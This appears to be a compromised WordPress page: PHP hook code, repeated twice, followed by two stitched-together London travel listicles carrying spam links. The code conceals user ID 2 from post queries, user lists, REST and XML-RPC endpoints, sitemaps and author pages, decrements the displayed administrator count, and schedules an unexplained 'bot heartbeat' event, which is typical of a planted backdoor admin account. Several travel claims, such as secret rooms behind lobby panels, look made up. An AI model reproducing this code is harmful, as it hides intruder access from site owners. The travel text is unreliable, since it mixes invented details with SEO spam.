add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The golden hour, roughly 4–6 pm on Saturdays, is when the city lights begin to flicker and the temperature drops to a pleasant 18 °C. At that hour you’ll find most rooftops at full capacity, so arriving just before 4 pm gives you a clear view and a drink before the line forms. Sundays are quieter; if you prefer a relaxed pace, schedule your stops between 2 and 4 pm.

When comparing prices, remember that many rooftop bars include a small drink with admission. If you’re on a budget, pick one or two venues that offer a complimentary first drink.
Arrive early on the first stop – the crowd usually peaks around 5 pm. If you’re visiting a venue that offers a “early bird” promotion, you can secure a table for £5 per person. Once you’re inside, look for a corner that overlooks the Thames; it’s a quieter spot and gives you a better angle for photos. If the bar feels too crowded, the adjacent terrace on the same building often has fewer people and a comparable view.
After a couple of drinks, you might crave something a bit more interactive. A quick detour to a virtual gaming lounge can be a refreshing break. For instance, you could stop by a local venue that offers a mix of arcade classics and modern streaming games, then head back to the rooftop for a sunset cocktail. If you’re looking for a place that mixes driving simulation with real‑world training, https://citydrivertraining.co.uk provides a unique twist on entertainment and skill development.
Noise is a constant companion on London rooftops. By 9 pm the music can reach 80 dB, so bring earplugs if you’re a light sleeper. Weather is another factor; London’s notorious drizzle can make the terrace feel chilly even on a sunny day. Finally, many rooftops close at 11 pm, so plan your route to avoid missing the last venue due to a delayed departure from the previous one.
Finish at a bar that offers a “soft finish” – a low‑proof cocktail or a non‑alcoholic mocktail. The rooftop at the Royal Opera House, for example, serves a cucumber‑mint soda for £7 that tastes as sophisticated as a gin and tonic but without the buzz. Pair it with a small snack, like a smoked salmon croissant, and you’ll be ready to head back to your accommodation without the dreaded morning after.
London’s rooftops are a mosaic of experiences. By planning your route around peak times, value and crowd control, you can enjoy a weekend that feels both exclusive and accessible. Remember to keep an eye on the weather and pace yourself – the city’s skyline is best savoured slowly, with a drink in hand and a view that stretches beyond the Thames.
They blend historic terraces, modern glass towers, and industrial lofts, offering diverse vibes and city views.
The golden hour, about 4–6 pm on Saturdays, provides stunning city lights and lively crowds.
Look for places with happy hour specials, off‑peak days, or bars that combine great views with reasonable drink prices.
Many popular spots do, especially on weekends; booking ahead ensures a table and sometimes a better rate.
Stroll along the narrow canal beside the Regent’s Canal, and you’ll find a hidden garden tucked between two brick warehouses. The garden opens at 10 a.m. every day, and you can walk the 1.2‑kilometre canal path to the opposite side, where a small café serves freshly baked scones. The best time to visit is early Sunday morning; the light is soft, and the water is calm. Bring a notebook if you like sketching; the reflections of the old buildings are a photographer’s dream.
Inside the historic post office on Clerkenwell Road, a forgotten clock tower houses a small, dimly lit room. It’s not listed on any tourist map, but you can access it through a back door in the service corridor. The room contains a 19th‑century brass clock that still ticks, and the walls are lined with original plasterwork. The best way to experience it is to arrive before 4 p.m., when the light from the east window hits the clock face. The atmosphere feels like stepping back in time, and the silence is surprisingly profound.

At the Royal Hospital Chelsea, a small reading room is hidden behind a panel in the main lobby. It houses a collection of 200 rare medical texts, many of which date back to the 1700s. The room is only open to visitors who book a guided tour; the guide will unlock the panel for you. The library’s quiet corners are perfect for reading a book or simply listening to the distant sounds of the hospital’s courtyard. If you’re a history buff, the room’s layout reveals the evolution of medical care in Britain.
At the former Bank of England building on Threadneedle Street, a small rooftop terrace is accessible only to staff, but the public can see it from the ground level. The terrace offers a 360‑degree view of the city, and the best time to look up is at sunset, when the sky turns a deep orange. The terrace is not a public space, but you can catch glimpses of it from the adjacent street, which makes for a striking photo opportunity. The view of the Tower Bridge and the Thames is something you’ll remember for years.
Near the Charing Cross tube station, a small door leads to a speakeasy-style bar that is only open from 10 p.m. to 2 a.m. The bar serves craft cocktails made with local ingredients, and the walls are covered in vintage posters from the 1920s. The bar’s owner, a former bartender from Soho, will give you a quick history of the place if you ask. The best time to visit is on a Wednesday, when the crowd is thinner and the bartender can talk more about the drinks.
While exploring London’s hidden spots, you might also want to unwind with some online gaming. If you’re looking for a place that offers a relaxed atmosphere and a variety of entertainment options, check out www.www.thesalonsheffield.co.uk for a different kind of weekend escape.
These five hidden spots prove that London’s charm isn’t only in its grand landmarks. By stepping off the beaten path, you’ll find quiet corners, secret histories, and unexpected views that make your weekend unforgettable. Pack a light backpack, wear comfortable shoes, and let the city reveal its best-kept secrets to you.
Hidden gems are less-known spots that offer unique experiences, often tucked away from main tourist routes.
Early mornings or late afternoons usually have fewer crowds and a more relaxed atmosphere.
Most hidden gems can be found by exploring on foot, but local guides can provide deeper insights.
Many hidden gardens and parks are free, while some may have a small entry fee or require a reservation.